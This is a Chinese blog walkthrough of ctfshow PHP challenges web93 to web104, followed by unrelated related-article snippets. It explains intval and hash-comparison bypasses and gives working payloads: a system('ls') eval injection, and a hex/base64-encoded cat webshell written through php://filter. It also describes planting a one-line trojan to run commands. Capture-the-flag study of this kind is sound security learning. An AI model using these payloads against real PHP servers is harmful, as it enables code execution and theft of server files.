PHP语言的学习(ctfshow中web入门web93~web104)

news2024/12/24 3:19:51

PHP语言基础知识(超详细)_php开发知识-CSDN博客

PHP特性之CTF中常见的PHP绕过-CSDN博客

浅谈PHP代码执行中出现过滤限制的绕过执行方法_php过滤绕过-CSDN博客

php代码审计(适合小白入门)_php审计入门-CSDN博客

什么是PHP?

PHP 是一种脚本语言, "PHP Hypertext Preprocessor" 的首字母缩略词 PHP 语法吸收了 C 语言、Java 和 Perl 的特点,利于学习,使用广泛,主要适用于 Web 开发领域。PHP 是一种被广泛使用的开源脚本语言,且PHP 脚本是在服务器上执行的。

PHP的审计方法

1.根据敏感关键字回溯参数传递过程(逆向追踪)
​检查敏感函数的参数,进行回溯变量,判断变量是否可控并且没有经过严格的过滤,这是一个逆向追踪的过程。

2.寻找可控参数,正向追踪变量传递过程(正向追踪)
跟踪传递的参数,判断是否存入到敏感函数内或者传递的过程中具有代码逻辑漏洞。

3.寻找敏感功能点,通读功能点代码(直接挖掘功能点漏洞)
​ 根据自身经验判断在该应用中的哪些功能可能出现漏洞。

4.直接通读全文代码

常见的PHP函数

intval()函数

php特性之intval学习小记-CSDN博客

int intval( var,base)
//var指要转换成 integer 的数量值,base指转化所使用的进制 
Note: 
如果 base 是 0,通过检测 var 的格式来决定使用的进制: 
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,  
如果字符串以 "0" 开始,使用 8 进制(octal);否则,  
将使用 10 进制 (decimal)。  

第一种过滤

<?php
echo intval(042);                     // 34
echo intval(0x1A);                    // 26
?> 

 此时就可以看出它的一个利用方式了,当过滤某个数字时,我们可以利用它的进制转换来绕过。

第二种过滤

返回值 
成功时返回 var 的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 
返回 1。 

从返回值可得,如果是一个弱比较a==b我们输入a[]=1b[]=2,此时这两个是不同的,但还都会返回1,此时也就实现了一种绕过,这是第二种绕过思路。 

第三种过滤

echo intval(42);                      // 42
echo intval(4.2);                     // 4

我们可以发现小数点后的数字会直接舍去,所以这可以作为第三种,当过滤4的时候,我们可以输入4.2来绕过 

第四种过滤

echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1

这个呢我们发现单引号传值的时候,它只识别字母前面的一部分,当我们进行get传参时,我们其实就是默认加单引号的,所以这又是一种绕过方式。还有说一下这里不是必须是e,这里只要是字母就可以 

ctfshow做题 (93-104关)

web93

1.进行代码审计,这题主要看的是intval()函数

<?php
include("flag.php"); //通过include函数引入flag.php文件
highlight_file(__FILE__);//highlight_file函数用于将当前PHP文件的内容以高亮形式输出
if(isset($_GET['num'])){
    $num = $_GET['num'];
//这段代码首先检查通过GET请求发送的num参数是否存在。如果存在,它将这个参数的值赋给变量$num。
    if($num==4476){
        die("no no no!");
    }
//这里直接检查$num是否等于4476。如果是,脚本将终止并输出"no no no!"。
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
//这行代码使用preg_match函数检查$num是否包含任何小写字母,如果找到字母,脚本同样会终止并输出"no no no!"。
    if(intval($num,0)==4476){
        echo $flag;//intval函数尝试将$num转换为整型,其中第二个参数0表示自动检测输入值的基数(进制)。这允许$num以十六进制、八进制或十进制等形式给出,但都会被转换为十进制整数进行比较,如果转换后的整数值等于4476,则输出$flag变量的值。
    }else{
        echo intval($num,0);//如果转换后的值不等于4476,则输出转换后的整数值。
    } 
}
?>

知识点

1.php中的"=="弱比较只比较值,不比较类型(两个等号是弱类型比较,他会将两边自动转换为同一种类型后再进行比较。) 

2.以0x("0X")开头的为十六进制

   以0开头的是八进制

方法一 使用小数绕过 

小数能够绕过前面的两个if,到intval()这里,自动转换为整数,弱比较之后,得到flag

方法二 使用进制绕过

因为这里八进制不仅能够绕过前面两个if,还能在intval()这里转换成十进制,进而得到flag

web94

1.依旧是代码审计,与上题不同的地方就是多了strpos()这个函数

知识点:

因为if(!strpos($num, "0")),所以传入的参数的第一位不能为0,如果是0,就die

方法一 使用小数绕过

因为strpos函数的特性,所以构造的小数为4476.0

方法二 使用进制绕过

因为strpos函数的特性,所以构造的进制前加上空格或者+,这两个加上并不影响

web95

1.代码审计,这题的代码与94不同的就是preg_match函数这里,多过滤了一个.

2.所以这关只能使用进制来绕过,与上面的一关相同

 

web96

1.代码审计

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){ //isset($_GET['u']) 检查URL中是否存在名为u的查询参数。
    if($_GET['u']=='flag.php'){ //如果u参数存在,代码会进入第一个if语句块。
        die("no no no");//通过$_GET['u']=='flag.php'检查u参数的值是否等于flag.php。如果是,执行die("no no no");
    }else{
        highlight_file($_GET['u']); //如果u参数的值不等于flag.php,则执行else语句块中的highlight_file($_GET['u']);。
    }
?>

知识点: 

/?u=/var/www/html/flag.php         绝对路径((/var/www/html是Web服务器的默认根文件夹))
/?u=./flag.php                          相对路径 ("./"表示当前目录)
/?u=php://filter/resource=flag.php      php伪协议             

1.这里使用相对路径

web97

1.代码审计

<?
include("flag.php"); //这行代码通过include函数包含了当前目录下名为flag.php的文件。
highlight_file(__FILE__);//highlight_file函数用于将指定的文件(这里是当前执行的PHP文件,通过__FILE__魔术常量获取)的内容以语法高亮的形式输出。
if (isset($_POST['a']) and isset($_POST['b'])) { //检查是否用post这个方法传入了a,b
if ($_POST['a'] != $_POST['b']) //两个参数的值是否不相等
if (md5($_POST['a']) === md5($_POST['b'])) //它们的MD5哈希值是否相等
echo $flag;
else
print 'Wrong.';
} 
?>

知识点

MD5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

在 php 中,=== 代表着强比较,不仅仅会比较值,还会比较类型。

2.使用数组绕过

web98

1.进行代码审计

知识点

1.&是引用符号,意思是:不同的名字访问同一个变量内容。php的引用是在变量或者函数、对象等前面加上&符号,PHP 的引用允许你用两个变量来指向同一个内容

2.$_GET?$_GET=&$_POST:'flag';意思:如果存在get方式,就把post的地址传给get,相当于get,只不过要利用post传一下参数

3.highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)意思:如果有通过GET方法传参'HTTP_FLAG=flag',就highlight_file($flag)。否则highlight_file(__FILE__)

2.经过分析可得,get随便传参,post传参HTTP_FLAG=flag

web99

知识点

array函数

array_push函数

in_array函数

 注意:

  1. 这个函数的漏洞点就是如果第三个参数没有被设置或者设置为false时,那么从 haystack 比较 haystack比较 haystack比较needle时,采用的就是弱类型比较。
  2. 如果第三个参数设置为了true,那么就会同时再检查类型

1.代码审计

<?
highlight_file(__FILE__);
$allow = array(); //创建了一个空数组 $allow,用来存储后续生成的随机数。
for ($i=36; $i < 0x36d; $i++) {  //for 循环,从 $i 初始化为 36,逐步增加直到 0x36d(十六进制表示的 877)。
    array_push($allow, rand(1,$i)); //在每次循环中,使用 rand(1, $i) 函数生成一个 1 到 $i 之间的随机数(也就是 1~877),并将其添加到 $allow 数组中。
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ //检查是否设置了名为 n 的 GET 参数,并且确保它的值在 $allow 数组中。
    file_put_contents($_GET['n'], $_POST['content']); //如果 $_GET['n'] 的值在 $allow 数组中,将 $_POST['content'] 的内容写入文件 $_GET['n'] 中。
}

?> 

2.分析代码,就很清晰了,我们需要用POST传参内容到GET传参的文件中,这里我们利用一句话木马来解决,最后在访问该文件,进行命令执行即可。首先,get传参1.php,post写一句话木马

3.然后我们访问这个一句话木马文件,再POST执行系统命令即可获得flag。

web100

考点:

1.考察的是运算符的优先级  :&& > || > = > and > or

数字越大越先执行

2.该函数在此关卡为

$vo = $v1 and FALSE and FAlSE

1.代码审计

<?php
highlight_file(__FILE__); 
include("ctfshow.php");  
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);//因为=比and优先 所以v0的值是v1赋的 所以v0=is_numeric($v1) 
if($v0){//需要满足 if 语句才会进入后面的判断,因此要求 v0 为 1,这里用的是 and,所以只需要满足 v1是数字即可。
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){//要求 v2 中不能有分号,v3 中需要有分号。
            eval("$v2('ctfshow')$v3");//如果上述要求都满足,则会调用 eval 函数。
        }
    }
}
?> 

2.构造?v1=1&v2=system("ls")&v3=;

3.挨个查看,得到flag在ctfshow.php中

4. 0x2d代表是16进制的,转化一下就行

0x2d //-

web101

知识点

$class = new ReflectionClass(‘ctfshow’); // 建立ctfshow这个类的反射类 $instance = class −> newInstanceArgs(class->newInstanceArgs( class−>newInstanceArgs(args); // 相当于实例化ctfshow类

资料:php反射类_php 反射类-CSDN博客

PHP的反射类ReflectionClass、ReflectionMethod使用实例-腾讯云开发者社区-腾讯云

PHP反射类详解_php reflectionclass-CSDN博客

1.代码审计,与100关不一样的地方就在preg_match()函数这里,过滤的内容不一样,特别是 $ 和反引号这些都被毙掉了,我们只能采用反射类的方法

2.发现最后少了一个不是数字就是字母,直接使用burp抓包爆破即可

web102

ctfshow-web入门-102_ctfshow web102-CSDN博客

Linux cat命令参数及使用方法详解-CSDN博客

知识点:

1.call_user_func — 把第一个参数作为回调函数调用, 其余参数是回调函数的参数

1.代码审计

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);//要求 v2 是数字,这样才会满足 if 条件,进入后面的语句。
if($v4){
    $s = substr($v2,2);//从 $v2 的第三个字符开始截取子字符串并赋值给 $s。
    $str = call_user_func($v1,$s);//调用 $v1 指定的函数,并将 $s 作为参数传递给该函数,将函数的返回值赋值给 $str。
    echo $str;
    file_put_contents($v3,$str);//将 $str 写入 $v3 指定的文件中。
}
else{
    die('hacker');
}
?> 

2.if中需要v4为真才能往下执行,而v4要为真就是v2传的参数要为数字或者数字字符串,同时v2也是我们要写入的webshell,为了让v2为数字或者数字字符串,我们可以先把我们的webshell转换为base64编码,再把base64编码转换为16进制,这是一种办法去转换成数字。

$a='<?=`cat *`;';       //为什么用这个,主要是因为编码后带e,或者是编码后全部是数字
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
//输出   5044383959474e6864434171594473
带e会被当做科学计数法,而base64去掉等号,不影响解码
bin2hex把ascii码转为16进制

3.构造 get:?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post: v1=hex2bin

4.查看php文件,最后查看源代码

web103

1.代码审计,与102相比就是多了preg_match这个函数,过滤掉了一些内容

2. 这个过滤并没有什么影响,使用上题的方法进行解题

3.访问php文件,最后看源代码,得到flag

web104

1.代码审计,这里涉及到shal()函数,并且这里使用的是弱比较

知识点:sha1()函数特性,sha1函数无法处理数组,遇到数组会返回NULL

2.构造 get: v2[]=1  post: v1[]=1

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1974912.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

File 类练习

练习1&#xff1a;在当前模块下的aaa文件夹中创建一个a.txt文件。 分析&#xff1a;当前模块下是没有aaa文件夹的&#xff0c;这里我是手动在当前模块下创建了aaa文件夹&#xff0c;然后在指定a.txt的路径&#xff0c;再createNewFile()的。 public class File1 {public stat…

一键重装系统哪个软件好用_2024年一键重装系统工具排行榜

一键重装系统哪个软件好&#xff1f;现在市面上重装软件五花八门&#xff0c;有些网友不知道哪些好用&#xff0c;下面小编就为大家整理几款不错的电脑一键重新系统软件供大家选择&#xff0c;现整理2024年一键重装系统软件排行。 一键重装系统哪个软件好用&#xff1f; 一键重…

如何系统地自学Python?AI的回答让你少走三年弯路!

系统地自学Python是一个循序渐进的过程&#xff0c;需要掌握基础知识、进阶技能以及实践项目。以下是一个详细的自学Python的指南&#xff1a; 一、学习准备<末尾有AI整理的学习资料、电子书籍、实战项目> 了解Python&#xff1a; Python是一种流行的编程语言&#xff…

入门 PyQt6 看过来(案例)22~ 图表案例

​ ​ def showPie(self):"""绘制饼状图"""# &#xff08;1&#xff09;创建图表和视图chart QChart()chart.setTitle(中国高等教育普及率)chart.legend().setAlignment(Qt.AlignmentFlag.AlignLeft)chartView QChartView(self) # 必须有sel…

CookieMaker工作室合作开发C++项目十一:拟态病毒

&#xff08;注&#xff1a;本文章使用了“无标题技术”&#xff09; 一天&#xff0c;我和几个同事&#xff0c;平台出了点BUG&#xff0c;居然给我刷出了千年杀&#xff0c;同事看得瑕疵欲裂&#xff0c;发誓要将我挫骨扬灰—— &#xff08;游戏入口&#xff1a;和平精英31.…

iOS技术之安装nvmnode完整步骤

1.前提 首先电脑里得有brew、git、vscode这些工具, 当然了要用nvm&node肯定是需要这些基本开发工具 2.删除node环境 如果mac里没有安装过node、npm可以无视直接去 3 安装nvm。 为了保证安装nvm能够成功管理node&#xff0c;必须把电脑里之前安装的node全部清理&#xf…

微信小程序css中配置了文字超出一行或两行则显示省略号对纯数字或纯字母或小数点无效的解决办法

配置了文字超出一行或两行则显示省略号对纯数字或纯字母或小数点无效的解决办法 overflow_title{display: -webkit-box;-webkit-line-clamp: 1;-webkit-box-orient: vertical;overflow: hidden;text-overflow: ellipsis; }只需要加上这两行css代码即可 word-break:break-all;…

Spring泛型的依赖注入

泛型依赖注入就是允许我们在使用spring进行依赖注入的同时&#xff0c;利用泛型的优点对代码进行精简&#xff0c;将可重复使用的代码全部放到一个类之中&#xff0c;方便以后的维护和修改。同时在不增加代码的情况下增加代码的复用性。

Go切片深入学习

Go切片专项学习 go切片扩容机制 go1.18 之前&#xff1a; 1.如果期望容量大于当前容量的两倍就会使用期望容量&#xff1b; 2.如果当前切片的长度小于 1024 就会将容量翻倍&#xff1b; 3.如果当前切片的长度大于 1024 就会每次增加 25% 的容量&#xff0c;直到新容量大于期…

基于AI大模型的数据治理

— 01— 什么是大模型&#xff1f; 大模型是指具有数千万甚至数亿参数的深度学习模型。近年来&#xff0c;随着计算机技术和大数据的快速发展&#xff0c;深度学习在各个领域取得了显著的成果&#xff0c;如自然语言处理&#xff0c;图片生成&#xff0c;工业数字化等。为了提…

如何快速下载huggingface大模型

Stackoverflow 上有个AI开发入门的最常见问题 How to download model from huggingface?&#xff0c;回答五花八门&#xff0c;可见下载 huggingface 模型的方法是十分多样的。 其实网络快、稳的话&#xff0c;随便哪种方法都挺好&#xff0c;然而结合国内的网络环境&#xf…

如何给微信小程序商城增加直播购物功能

作者&#xff1a;阿龙 当前&#xff0c;随着抖音、快手、淘宝、拼多多等平台直播卖货的崛起&#xff0c;消费者已经习惯了在直播间购物模式&#xff0c;它可以实现卖家和用户之间的互动&#xff0c;实时解答用户的疑问&#xff0c;让用户可以放心下单购买。东方甄选、董宇辉、李…

LeetCode每日一题_3143.正方形中的最多点数

解题思路&#xff1a;自己&#xff1a;先把points里的点拿来求出坐标系的离原点最远的点&#xff0c;然后根据最远距离新建一个数组&#xff0c;然后把points的点都在新建的数组上标记出来。然后再便利从边长为0的正方形开始&#xff0c;里面是否有重复的标签。但是代码写不出来…

1.MongoDB入门指南之开篇

1. 写在前面 MongoDB大家可能听说过&#xff0c;但是要怎么学习&#xff1f;先学习哪个&#xff0c;很多人是不知道的&#xff0c;毕竟面对一个未知的事物&#xff0c;迷茫是很多人都会遇到的&#xff0c;从今天起我们就开始系统的介绍MongoDB的学习。 2. 课程介绍 课程主要分…

代理模式和Spring MVC

Spring是一个分层的轻量级的开源Java框架。核心是IOC(Inverse of Control 控制反转)和AOP(Aspect Oriented Programming 面向切面编程) AOP 面向切面 AOP &#xff08;Aspect Orient Programming&#xff09;,直译过来就是 面向切面编程&#xff0c;AOP 是一种编程思想&#x…

Antd - Table 父子表格Checkbox联动

Antd - Table 父子表格Checkbox联动 前言一. 勾选父子组件联动二. 效果 前言 由于Antd中的父子组件之间&#xff0c;如果有多选功能&#xff0c;那么不会有联动的关系&#xff0c;需要自己实现。 一. 勾选父子组件联动 代码如下&#xff1a; import React, { useState } fr…

微搭如何设置隐私协议

目录 1 创建数据源2 创建应用3 校验隐私协议是否同意4 实际的效果 小程序里如果涉及收集用户隐私信息的&#xff0c;需要提供隐私协议&#xff0c;微搭中如何实现呢&#xff1f; 1 创建数据源 我们创建两个数据源&#xff0c;一个是个人信息采集表&#xff0c;一个是隐私协议表…

2024最全面软件测试2000+面试题附答案详解,卷起来

进大厂是大部分程序员的梦想&#xff0c;而进大厂的门槛也是比较高的&#xff0c;所以这里整理了一份阿里、美团、滴滴、头条等大厂面试大全&#xff0c;其中概括的知识点有&#xff1a;软件测试基础&#xff0c;MySQL&#xff0c;liunx&#xff0c;接口测试&#xff0c;APP测试…

C ++测试随机数

//输出0-15的数字 #include <iostream> #include <string> using namespace std; //更好的办法是使用数组来存储 方便索引 循环 void test01() {srand(time(0));int t0 0;int t1 0;int t2 0;int t3 0;int t4 0;int t5 0;int t6 0;int t7 0;int t8 0;in…

vs-2015安装教程

双击安装包 2-如图先选自定义&#xff0c;然后选安装路径&#xff08;英文路径&#xff09; 3-安装选项一个就够了&#xff0c;如图 4-点击下一步&#xff0c;之后如下图 5-点击安装 启动&#xff0c;如图则恭喜你成功安装